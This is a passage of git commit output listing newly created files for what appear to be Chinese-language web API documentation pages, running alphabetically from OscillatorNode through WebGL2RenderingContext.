create mode 100644 files/zh-cn/web/api/oscillatornode/oscillatornode/index.html create mode 100644 files/zh-cn/web/api/oscillatornode/setperiodicwave/index.html create mode 100644 files/zh-cn/web/api/oscillatornode/stop/index.html create mode 100644 files/zh-cn/web/api/page_visibility_api/index.html create mode 100644 files/zh-cn/web/api/pagetransitionevent/index.html create mode 100644 files/zh-cn/web/api/pagetransitionevent/persisted/index.html create mode 100644 files/zh-cn/web/api/parentnode/append/index.html create mode 100644 files/zh-cn/web/api/parentnode/childelementcount/index.html create mode 100644 files/zh-cn/web/api/parentnode/children/index.html create mode 100644 files/zh-cn/web/api/parentnode/firstelementchild/index.html create mode 100644 files/zh-cn/web/api/parentnode/index.html create mode 100644 files/zh-cn/web/api/parentnode/lastelementchild/index.html create mode 100644 files/zh-cn/web/api/parentnode/prepend/index.html create mode 100644 files/zh-cn/web/api/parentnode/queryselector/index.html create mode 100644 files/zh-cn/web/api/parentnode/queryselectorall/index.html create mode 100644 files/zh-cn/web/api/parentnode/replacechildren/index.html create mode 100644 files/zh-cn/web/api/path2d/addpath/index.html create mode 100644 files/zh-cn/web/api/path2d/index.html create mode 100644 files/zh-cn/web/api/path2d/path2d/index.html create mode 100644 files/zh-cn/web/api/paymentaddress/index.html create mode 100644 files/zh-cn/web/api/performance/clearmarks/index.html create mode 100644 files/zh-cn/web/api/performance/clearmeasures/index.html create mode 100644 files/zh-cn/web/api/performance/clearresourcetimings/index.html create mode 100644 files/zh-cn/web/api/performance/getentries/index.html create mode 100644 files/zh-cn/web/api/performance/getentriesbyname/index.html create mode 100644 files/zh-cn/web/api/performance/getentriesbytype/index.html create mode 100644 files/zh-cn/web/api/performance/index.html create mode 100644 files/zh-cn/web/api/performance/mark/index.html create mode 100644 files/zh-cn/web/api/performance/measure/index.html create mode 100644 files/zh-cn/web/api/performance/navigation/index.html create mode 100644 files/zh-cn/web/api/performance/now/index.html create mode 100644 files/zh-cn/web/api/performance/onresourcetimingbufferfull/index.html create mode 100644 files/zh-cn/web/api/performance/timeorigin/index.html create mode 100644 files/zh-cn/web/api/performance/timing/index.html create mode 100644 files/zh-cn/web/api/performance/tojson/index.html create mode 100644 "files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" create mode 100644 files/zh-cn/web/api/performance_api/index.html create mode 100644 files/zh-cn/web/api/performance_timeline/index.html create mode 100644 files/zh-cn/web/api/performanceentry/duration/index.html create mode 100644 files/zh-cn/web/api/performanceentry/entrytype/index.html create mode 100644 files/zh-cn/web/api/performanceentry/index.html create mode 100644 files/zh-cn/web/api/performanceentry/name/index.html create mode 100644 files/zh-cn/web/api/performanceentry/tojson/index.html create mode 100644 files/zh-cn/web/api/performancenavigation/index.html create mode 100644 files/zh-cn/web/api/performancenavigationtiming/index.html create mode 100644 files/zh-cn/web/api/performanceobserver/disconnect/index.html create mode 100644 files/zh-cn/web/api/performanceobserver/index.html create mode 100644 files/zh-cn/web/api/performanceobserver/observe/index.html create mode 100644 files/zh-cn/web/api/performanceobserver/performanceobserver/index.html create mode 100644 files/zh-cn/web/api/performanceobserver/takerecords/index.html create mode 100644 files/zh-cn/web/api/performancepainttiming/index.html create mode 100644 files/zh-cn/web/api/performanceresourcetiming/index.html create mode 100644 files/zh-cn/web/api/performancetiming/connectend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/connectstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/domainlookupend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/domainlookupstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/domcomplete/index.html create mode 100644 files/zh-cn/web/api/performancetiming/domcontentloadedeventend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/domcontentloadedeventstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/dominteractive/index.html create mode 100644 files/zh-cn/web/api/performancetiming/domloading/index.html create mode 100644 files/zh-cn/web/api/performancetiming/fetchstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/index.html create mode 100644 files/zh-cn/web/api/performancetiming/loadeventend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/loadeventstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/navigationstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/redirectend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/redirectstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/requeststart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/responseend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/responsestart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/secureconnectionstart/index.html create mode 100644 files/zh-cn/web/api/performancetiming/unloadeventend/index.html create mode 100644 files/zh-cn/web/api/performancetiming/unloadeventstart/index.html create mode 100644 files/zh-cn/web/api/periodicwave/index.html create mode 100644 files/zh-cn/web/api/permissions/index.html create mode 100644 files/zh-cn/web/api/permissions_api/index.html create mode 100644 files/zh-cn/web/api/permissions_api/using_the_permissions_api/index.html create mode 100644 files/zh-cn/web/api/pictureinpicturewindow/index.html create mode 100644 files/zh-cn/web/api/plugin/index.html create mode 100644 files/zh-cn/web/api/pointer_events/index.html create mode 100644 files/zh-cn/web/api/pointerevent/index.html create mode 100644 files/zh-cn/web/api/positionoptions/index.html create mode 100644 files/zh-cn/web/api/positionoptions/timeout/index.html create mode 100644 files/zh-cn/web/api/progressevent/index.html create mode 100644 files/zh-cn/web/api/progressevent/lengthcomputable/index.html create mode 100644 files/zh-cn/web/api/promiserejectionevent/index.html create mode 100644 files/zh-cn/web/api/promiserejectionevent/promise/index.html create mode 100644 files/zh-cn/web/api/promiserejectionevent/promiserejectionevent/index.html create mode 100644 files/zh-cn/web/api/push_api/index.html create mode 100644 files/zh-cn/web/api/push_api/using_the_push_api/index.html create mode 100644 files/zh-cn/web/api/pushmanager/getsubscription/index.html create mode 100644 files/zh-cn/web/api/pushmanager/index.html create mode 100644 files/zh-cn/web/api/pushmanager/subscribe/index.html create mode 100644 files/zh-cn/web/api/pushmanager/supportedcontentencodings/index.html create mode 100644 files/zh-cn/web/api/pushmessagedata/index.html create mode 100644 files/zh-cn/web/api/pushmessagedata/json/index.html create mode 100644 files/zh-cn/web/api/randomsource/getrandomvalues/index.html create mode 100644 files/zh-cn/web/api/randomsource/index.html create mode 100644 files/zh-cn/web/api/range/clonecontents/index.html create mode 100644 files/zh-cn/web/api/range/clonerange/index.html create mode 100644 files/zh-cn/web/api/range/collapse/index.html create mode 100644 files/zh-cn/web/api/range/collapsed/index.html create mode 100644 files/zh-cn/web/api/range/commonancestorcontainer/index.html create mode 100644 files/zh-cn/web/api/range/createcontextualfragment/index.html create mode 100644 files/zh-cn/web/api/range/deletecontents/index.html create mode 100644 files/zh-cn/web/api/range/endcontainer/index.html create mode 100644 files/zh-cn/web/api/range/endoffset/index.html create mode 100644 files/zh-cn/web/api/range/extractcontents/index.html create mode 100644 files/zh-cn/web/api/range/getboundingclientrect/index.html create mode 100644 files/zh-cn/web/api/range/getclientrects/index.html create mode 100644 files/zh-cn/web/api/range/index.html create mode 100644 files/zh-cn/web/api/range/insertnode/index.html create mode 100644 files/zh-cn/web/api/range/intersectsnode/index.html create mode 100644 files/zh-cn/web/api/range/range/index.html create mode 100644 files/zh-cn/web/api/range/selectnode/index.html create mode 100644 files/zh-cn/web/api/range/selectnodecontents/index.html create mode 100644 files/zh-cn/web/api/range/setend/index.html create mode 100644 files/zh-cn/web/api/range/setstart/index.html create mode 100644 files/zh-cn/web/api/range/setstartbefore/index.html create mode 100644 files/zh-cn/web/api/range/startcontainer/index.html create mode 100644 files/zh-cn/web/api/range/startoffset/index.html create mode 100644 files/zh-cn/web/api/range/surroundcontents/index.html create mode 100644 files/zh-cn/web/api/readablestream/getreader/index.html create mode 100644 files/zh-cn/web/api/readablestream/index.html create mode 100644 files/zh-cn/web/api/readablestream/readablestream/index.html create mode 100644 files/zh-cn/web/api/readablestreamdefaultreader/index.html create mode 100644 files/zh-cn/web/api/renderingcontext/index.html create mode 100644 files/zh-cn/web/api/request/cache/index.html create mode 100644 files/zh-cn/web/api/request/clone/index.html create mode 100644 files/zh-cn/web/api/request/context/index.html create mode 100644 files/zh-cn/web/api/request/credentials/index.html create mode 100644 files/zh-cn/web/api/request/headers/index.html create mode 100644 files/zh-cn/web/api/request/index.html create mode 100644 files/zh-cn/web/api/request/method/index.html create mode 100644 files/zh-cn/web/api/request/mode/index.html create mode 100644 files/zh-cn/web/api/request/request/index.html create mode 100644 files/zh-cn/web/api/request/url/index.html create mode 100644 files/zh-cn/web/api/resize_observer_api/index.html create mode 100644 files/zh-cn/web/api/resizeobserver/disconnect/index.html create mode 100644 files/zh-cn/web/api/resizeobserver/index.html create mode 100644 files/zh-cn/web/api/resizeobserver/observe/index.html create mode 100644 files/zh-cn/web/api/resizeobserver/resizeobserver/index.html create mode 100644 files/zh-cn/web/api/resizeobserver/unobserve/index.html create mode 100644 files/zh-cn/web/api/resizeobserverentry/index.html create mode 100644 files/zh-cn/web/api/resource_timing_api/index.html create mode 100644 files/zh-cn/web/api/resource_timing_api/using_the_resource_timing_api/index.html create mode 100644 files/zh-cn/web/api/response/error/index.html create mode 100644 files/zh-cn/web/api/response/headers/index.html create mode 100644 files/zh-cn/web/api/response/index.html create mode 100644 files/zh-cn/web/api/response/ok/index.html create mode 100644 files/zh-cn/web/api/response/redirect/index.html create mode 100644 files/zh-cn/web/api/response/redirected/index.html create mode 100644 files/zh-cn/web/api/response/response/index.html create mode 100644 files/zh-cn/web/api/response/status/index.html create mode 100644 files/zh-cn/web/api/response/statustext/index.html create mode 100644 files/zh-cn/web/api/response/type/index.html create mode 100644 files/zh-cn/web/api/response/url/index.html create mode 100644 "files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" create mode 100644 files/zh-cn/web/api/rtcconfiguration/index.html create mode 100644 files/zh-cn/web/api/rtcdatachannel/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/addicecandidate/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/addtrack/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/cantrickleicecandidates/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/connectionstate/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/createdatachannel/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/createoffer/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/currentlocaldescription/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/getdefaulticeservers/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/getreceivers/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/iceconnectionstate/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/icegatheringstate/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/onaddstream/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/ondatachannel/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/onicecandidate/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/ontrack/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/peeridentity/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/remotedescription/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/removestream/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/rtcpeerconnection/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/setconfiguration/index.html create mode 100644 files/zh-cn/web/api/rtcpeerconnection/setremotedescription/index.html create mode 100644 files/zh-cn/web/api/rtcrtptransceiver/direction/index.html create mode 100644 files/zh-cn/web/api/rtcrtptransceiver/index.html create mode 100644 files/zh-cn/web/api/rtcsessiondescription/index.html create mode 100644 files/zh-cn/web/api/rtcstats/id/index.html create mode 100644 files/zh-cn/web/api/rtcstats/index.html create mode 100644 files/zh-cn/web/api/rtcstatsreport/index.html create mode 100644 files/zh-cn/web/api/rtctrackevent/index.html create mode 100644 files/zh-cn/web/api/rtctrackevent/rtctrackevent/index.html create mode 100644 files/zh-cn/web/api/screen/availheight/index.html create mode 100644 files/zh-cn/web/api/screen/availleft/index.html create mode 100644 files/zh-cn/web/api/screen/availtop/index.html create mode 100644 files/zh-cn/web/api/screen/availwidth/index.html create mode 100644 files/zh-cn/web/api/screen/colordepth/index.html create mode 100644 files/zh-cn/web/api/screen/height/index.html create mode 100644 files/zh-cn/web/api/screen/index.html create mode 100644 files/zh-cn/web/api/screen/lockorientation/index.html create mode 100644 files/zh-cn/web/api/screen/orientation/index.html create mode 100644 files/zh-cn/web/api/screen/pixeldepth/index.html create mode 100644 files/zh-cn/web/api/screen/width/index.html create mode 100644 files/zh-cn/web/api/screen_capture_api/index.html create mode 100644 "files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" create mode 100644 files/zh-cn/web/api/scriptprocessornode/index.html create mode 100644 files/zh-cn/web/api/scrolltooptions/index.html create mode 100644 files/zh-cn/web/api/selection/addrange/index.html create mode 100644 files/zh-cn/web/api/selection/anchornode/index.html create mode 100644 files/zh-cn/web/api/selection/anchoroffset/index.html create mode 100644 files/zh-cn/web/api/selection/collapse/index.html create mode 100644 files/zh-cn/web/api/selection/collapsetoend/index.html create mode 100644 files/zh-cn/web/api/selection/collapsetostart/index.html create mode 100644 files/zh-cn/web/api/selection/containsnode/index.html create mode 100644 files/zh-cn/web/api/selection/extend/index.html create mode 100644 files/zh-cn/web/api/selection/focusnode/index.html create mode 100644 files/zh-cn/web/api/selection/focusoffset/index.html create mode 100644 files/zh-cn/web/api/selection/getrangeat/index.html create mode 100644 files/zh-cn/web/api/selection/index.html create mode 100644 files/zh-cn/web/api/selection/iscollapsed/index.html create mode 100644 files/zh-cn/web/api/selection/modify/index.html create mode 100644 files/zh-cn/web/api/selection/rangecount/index.html create mode 100644 files/zh-cn/web/api/selection/removeallranges/index.html create mode 100644 files/zh-cn/web/api/selection/removerange/index.html create mode 100644 files/zh-cn/web/api/selection/selectallchildren/index.html create mode 100644 files/zh-cn/web/api/selection/setbaseandextent/index.html create mode 100644 files/zh-cn/web/api/selection/tostring/index.html create mode 100644 files/zh-cn/web/api/selection/type/index.html create mode 100644 "files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/sensor_apis/index.html create mode 100644 files/zh-cn/web/api/service_worker_api/index.html create mode 100644 files/zh-cn/web/api/service_worker_api/using_service_workers/index.html create mode 100644 files/zh-cn/web/api/serviceworker/index.html create mode 100644 files/zh-cn/web/api/serviceworker/onstatechange/index.html create mode 100644 files/zh-cn/web/api/serviceworker/scripturl/index.html create mode 100644 files/zh-cn/web/api/serviceworker/state/index.html create mode 100644 files/zh-cn/web/api/serviceworkercontainer/controller/index.html create mode 100644 files/zh-cn/web/api/serviceworkercontainer/index.html create mode 100644 files/zh-cn/web/api/serviceworkercontainer/register/index.html create mode 100644 files/zh-cn/web/api/serviceworkerglobalscope/caches/index.html create mode 100644 files/zh-cn/web/api/serviceworkerglobalscope/index.html create mode 100644 files/zh-cn/web/api/serviceworkerregistration/active/index.html create mode 100644 files/zh-cn/web/api/serviceworkerregistration/index.html create mode 100644 files/zh-cn/web/api/serviceworkerregistration/pushmanager/index.html create mode 100644 files/zh-cn/web/api/serviceworkerregistration/unregister/index.html create mode 100644 files/zh-cn/web/api/serviceworkerregistration/update/index.html create mode 100644 files/zh-cn/web/api/shadowroot/delegatesfocus/index.html create mode 100644 files/zh-cn/web/api/shadowroot/index.html create mode 100644 files/zh-cn/web/api/shadowroot/innerhtml/index.html create mode 100644 files/zh-cn/web/api/shadowroot/mode/index.html create mode 100644 files/zh-cn/web/api/sharedworker/index.html create mode 100644 files/zh-cn/web/api/sharedworker/sharedworker/index.html create mode 100644 files/zh-cn/web/api/slotable/index.html create mode 100644 files/zh-cn/web/api/sourcebuffer/appendbuffer/index.html create mode 100644 files/zh-cn/web/api/sourcebuffer/index.html create mode 100644 files/zh-cn/web/api/sourcebuffer/mode/index.html create mode 100644 files/zh-cn/web/api/speechgrammar/index.html create mode 100644 files/zh-cn/web/api/speechgrammar/speechgrammar/index.html create mode 100644 files/zh-cn/web/api/speechgrammar/src/index.html create mode 100644 files/zh-cn/web/api/speechgrammar/weight/index.html create mode 100644 files/zh-cn/web/api/speechrecognitionresult/index.html create mode 100644 files/zh-cn/web/api/speechrecognitionresult/isfinal/index.html create mode 100644 files/zh-cn/web/api/speechsynthesis/getvoices/index.html create mode 100644 files/zh-cn/web/api/speechsynthesis/index.html create mode 100644 files/zh-cn/web/api/speechsynthesis/paused/index.html create mode 100644 files/zh-cn/web/api/speechsynthesisutterance/index.html create mode 100644 files/zh-cn/web/api/speechsynthesisutterance/voice/index.html create mode 100644 files/zh-cn/web/api/storage/clear/index.html create mode 100644 files/zh-cn/web/api/storage/getitem/index.html create mode 100644 files/zh-cn/web/api/storage/index.html create mode 100644 files/zh-cn/web/api/storage/key/index.html create mode 100644 files/zh-cn/web/api/storage/length/index.html create mode 100644 files/zh-cn/web/api/storage/localstorage/index.html create mode 100644 files/zh-cn/web/api/storage/removeitem/index.html create mode 100644 files/zh-cn/web/api/storage/setitem/index.html create mode 100644 files/zh-cn/web/api/storage_api/index.html create mode 100644 files/zh-cn/web/api/storageestimate/index.html create mode 100644 files/zh-cn/web/api/storageevent/index.html create mode 100644 files/zh-cn/web/api/storagemanager/estimate/index.html create mode 100644 files/zh-cn/web/api/storagemanager/index.html create mode 100644 files/zh-cn/web/api/storagemanager/persist/index.html create mode 100644 files/zh-cn/web/api/storagemanager/persisted/index.html create mode 100644 files/zh-cn/web/api/streams_api/index.html create mode 100644 "files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" create mode 100644 "files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" create mode 100644 files/zh-cn/web/api/stylepropertymap/index.html create mode 100644 files/zh-cn/web/api/stylesheet/disabled/index.html create mode 100644 files/zh-cn/web/api/stylesheet/href/index.html create mode 100644 files/zh-cn/web/api/stylesheet/index.html create mode 100644 files/zh-cn/web/api/stylesheet/media/index.html create mode 100644 files/zh-cn/web/api/stylesheet/title/index.html create mode 100644 files/zh-cn/web/api/stylesheetlist/index.html create mode 100644 files/zh-cn/web/api/subtlecrypto/decrypt/index.html create mode 100644 files/zh-cn/web/api/subtlecrypto/encrypt/index.html create mode 100644 files/zh-cn/web/api/subtlecrypto/index.html create mode 100644 files/zh-cn/web/api/svgaelement/index.html create mode 100644 files/zh-cn/web/api/svganimatedangle/index.html create mode 100644 files/zh-cn/web/api/svganimateelement/index.html create mode 100644 files/zh-cn/web/api/svganimationelement/index.html create mode 100644 files/zh-cn/web/api/svganimationelement/targetelement/index.html create mode 100644 files/zh-cn/web/api/svgcircleelement/index.html create mode 100644 files/zh-cn/web/api/svgelement/index.html create mode 100644 files/zh-cn/web/api/svgevent/index.html create mode 100644 files/zh-cn/web/api/svggeometryelement/getpointatlength/index.html create mode 100644 files/zh-cn/web/api/svggeometryelement/index.html create mode 100644 files/zh-cn/web/api/svggraphicselement/getbbox/index.html create mode 100644 files/zh-cn/web/api/svggraphicselement/index.html create mode 100644 files/zh-cn/web/api/svgmatrix/index.html create mode 100644 files/zh-cn/web/api/svgpathelement/gettotallength/index.html create mode 100644 files/zh-cn/web/api/svgpathelement/index.html create mode 100644 files/zh-cn/web/api/svgsvgelement/index.html create mode 100644 files/zh-cn/web/api/svguseelement/index.html create mode 100644 files/zh-cn/web/api/text/assignedslot/index.html create mode 100644 files/zh-cn/web/api/text/index.html create mode 100644 files/zh-cn/web/api/text/iselementcontentwhitespace/index.html create mode 100644 files/zh-cn/web/api/text/replacewholetext/index.html create mode 100644 files/zh-cn/web/api/text/splittext/index.html create mode 100644 files/zh-cn/web/api/text/text/index.html create mode 100644 files/zh-cn/web/api/text/wholetext/index.html create mode 100644 files/zh-cn/web/api/textdecoder/index.html create mode 100644 files/zh-cn/web/api/textencoder/encode/index.html create mode 100644 files/zh-cn/web/api/textencoder/encoding/index.html create mode 100644 files/zh-cn/web/api/textencoder/index.html create mode 100644 files/zh-cn/web/api/textencoder/textencoder/index.html create mode 100644 files/zh-cn/web/api/textmetrics/index.html create mode 100644 files/zh-cn/web/api/textmetrics/width/index.html create mode 100644 files/zh-cn/web/api/textrange/index.html create mode 100644 files/zh-cn/web/api/textrange/text/index.html create mode 100644 files/zh-cn/web/api/timeranges/end/index.html create mode 100644 files/zh-cn/web/api/timeranges/index.html create mode 100644 files/zh-cn/web/api/timeranges/length/index.html create mode 100644 files/zh-cn/web/api/timeranges/start/index.html create mode 100644 files/zh-cn/web/api/touch/clientx/index.html create mode 100644 files/zh-cn/web/api/touch/clienty/index.html create mode 100644 files/zh-cn/web/api/touch/force/index.html create mode 100644 files/zh-cn/web/api/touch/identifier/index.html create mode 100644 files/zh-cn/web/api/touch/index.html create mode 100644 files/zh-cn/web/api/touch/pagex/index.html create mode 100644 files/zh-cn/web/api/touch/pagey/index.html create mode 100644 files/zh-cn/web/api/touch/radiusx/index.html create mode 100644 files/zh-cn/web/api/touch/radiusy/index.html create mode 100644 files/zh-cn/web/api/touch/rotationangle/index.html create mode 100644 files/zh-cn/web/api/touch/screenx/index.html create mode 100644 files/zh-cn/web/api/touch/screeny/index.html create mode 100644 files/zh-cn/web/api/touch/target/index.html create mode 100644 files/zh-cn/web/api/touch/touch/index.html create mode 100644 files/zh-cn/web/api/touch_events/index.html create mode 100644 files/zh-cn/web/api/touch_events/multi-touch_interaction/index.html create mode 100644 files/zh-cn/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html create mode 100644 files/zh-cn/web/api/touch_events/using_touch_events/index.html create mode 100644 files/zh-cn/web/api/touchevent/changedtouches/index.html create mode 100644 files/zh-cn/web/api/touchevent/index.html create mode 100644 files/zh-cn/web/api/touchevent/targettouches/index.html create mode 100644 files/zh-cn/web/api/touchevent/touches/index.html create mode 100644 files/zh-cn/web/api/touchlist/index.html create mode 100644 files/zh-cn/web/api/transferable/index.html create mode 100644 files/zh-cn/web/api/transitionevent/index.html create mode 100644 files/zh-cn/web/api/treewalker/index.html create mode 100644 files/zh-cn/web/api/typeinfo/index.html create mode 100644 files/zh-cn/web/api/uievent/cancelbubble/index.html create mode 100644 files/zh-cn/web/api/uievent/detail/index.html create mode 100644 files/zh-cn/web/api/uievent/index.html create mode 100644 files/zh-cn/web/api/uievent/ischar/index.html create mode 100644 files/zh-cn/web/api/uievent/pagex/index.html create mode 100644 files/zh-cn/web/api/uievent/pagey/index.html create mode 100644 files/zh-cn/web/api/uievent/uievent/index.html create mode 100644 "files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" create mode 100644 files/zh-cn/web/api/url/createobjecturl/index.html create mode 100644 files/zh-cn/web/api/url/hash/index.html create mode 100644 files/zh-cn/web/api/url/host/index.html create mode 100644 files/zh-cn/web/api/url/hostname/index.html create mode 100644 files/zh-cn/web/api/url/href/index.html create mode 100644 files/zh-cn/web/api/url/index.html create mode 100644 files/zh-cn/web/api/url/origin/index.html create mode 100644 files/zh-cn/web/api/url/pathname/index.html create mode 100644 files/zh-cn/web/api/url/port/index.html create mode 100644 files/zh-cn/web/api/url/protocol/index.html create mode 100644 files/zh-cn/web/api/url/revokeobjecturl/index.html create mode 100644 files/zh-cn/web/api/url/search/index.html create mode 100644 files/zh-cn/web/api/url/searchparams/index.html create mode 100644 files/zh-cn/web/api/url/tojson/index.html create mode 100644 files/zh-cn/web/api/url/tostring/index.html create mode 100644 files/zh-cn/web/api/url/url/index.html create mode 100644 files/zh-cn/web/api/url/username/index.html create mode 100644 "files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" create mode 100644 files/zh-cn/web/api/url_api/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/append/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/delete/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/entries/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/foreach/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/get/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/getall/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/has/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/keys/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/set/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/sort/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/tostring/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/urlsearchparams/index.html create mode 100644 files/zh-cn/web/api/urlsearchparams/values/index.html create mode 100644 files/zh-cn/web/api/urlutils/hash/index.html create mode 100644 files/zh-cn/web/api/urlutils/href/index.html create mode 100644 files/zh-cn/web/api/urlutils/index.html create mode 100644 files/zh-cn/web/api/urlutils/origin/index.html create mode 100644 files/zh-cn/web/api/urlutils/password/index.html create mode 100644 files/zh-cn/web/api/urlutils/pathname/index.html create mode 100644 files/zh-cn/web/api/urlutils/search/index.html create mode 100644 files/zh-cn/web/api/urlutils/tostring/index.html create mode 100644 files/zh-cn/web/api/urlutils/username/index.html create mode 100644 files/zh-cn/web/api/usb/index.html create mode 100644 files/zh-cn/web/api/user_timing_api/index.html create mode 100644 files/zh-cn/web/api/using_the_browser_api/index.html create mode 100644 files/zh-cn/web/api/usvstring/index.html create mode 100644 files/zh-cn/web/api/validitystate/index.html create mode 100644 files/zh-cn/web/api/vibration_api/index.html create mode 100644 files/zh-cn/web/api/videoplaybackquality/index.html create mode 100644 files/zh-cn/web/api/videoplaybackquality/totalvideoframes/index.html create mode 100644 files/zh-cn/web/api/videotracklist/index.html create mode 100644 files/zh-cn/web/api/visualviewport/index.html create mode 100644 files/zh-cn/web/api/visualviewport/offsetleft/index.html create mode 100644 files/zh-cn/web/api/visualviewport/offsettop/index.html create mode 100644 files/zh-cn/web/api/visualviewport/onscroll/index.html create mode 100644 files/zh-cn/web/api/vrdisplay/index.html create mode 100644 files/zh-cn/web/api/vrdisplay/requestanimationframe/index.html create mode 100644 files/zh-cn/web/api/vrpose/index.html create mode 100644 files/zh-cn/web/api/vrpose/timestamp/index.html create mode 100644 files/zh-cn/web/api/wakelock/index.html create mode 100644 files/zh-cn/web/api/wakelock/request/index.html create mode 100644 files/zh-cn/web/api/wakelocksentinel/index.html create mode 100644 files/zh-cn/web/api/waveshapernode/curve/index.html create mode 100644 files/zh-cn/web/api/waveshapernode/index.html create mode 100644 files/zh-cn/web/api/waveshapernode/oversample/index.html create mode 100644 files/zh-cn/web/api/waveshapernode/waveshapernode/index.html create mode 100644 files/zh-cn/web/api/web_animations_api/index.html create mode 100644 files/zh-cn/web/api/web_animations_api/keyframe_formats/index.html create mode 100644 files/zh-cn/web/api/web_animations_api/using_the_web_animations_api/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/using_web_audio_api/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/visualizations_with_web_audio_api/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/web_audio_spatialization_basics/index.html create mode 100644 "files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" create mode 100644 files/zh-cn/web/api/web_authentication_api/index.html create mode 100644 files/zh-cn/web/api/web_crypto_api/index.html create mode 100644 files/zh-cn/web/api/web_speech_api/index.html create mode 100644 files/zh-cn/web/api/web_speech_api/using_the_web_speech_api/index.html create mode 100644 files/zh-cn/web/api/web_storage_api/index.html create mode 100644 files/zh-cn/web/api/web_storage_api/using_the_web_storage_api/index.html create mode 100644 files/zh-cn/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html create mode 100644 files/zh-cn/web/api/web_workers_api/index.html create mode 100644 files/zh-cn/web/api/web_workers_api/using_web_workers/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/beginquery/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/begintransformfeedback/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/bindbufferbase/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/createsampler/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/createvertexarray/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/drawbuffers/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/teximage3d/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/uniform/index.html create mode 100644 files/zh-cn/web/api/webgl2renderingcontext/uniformmatrix/index.html create mode 100644 files/zh-cn/web/api/webgl_api/basic_2d_animation_example/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/basic_scissoring/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/boilerplate_1/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/clearing_by_clicking/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/clearing_with_colors/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/color_masking/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/detect_webgl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/hello_glsl/index.html create mode 100644 files/zh-cn/web/api/webgl_api/by_example/index.html create mode 100644 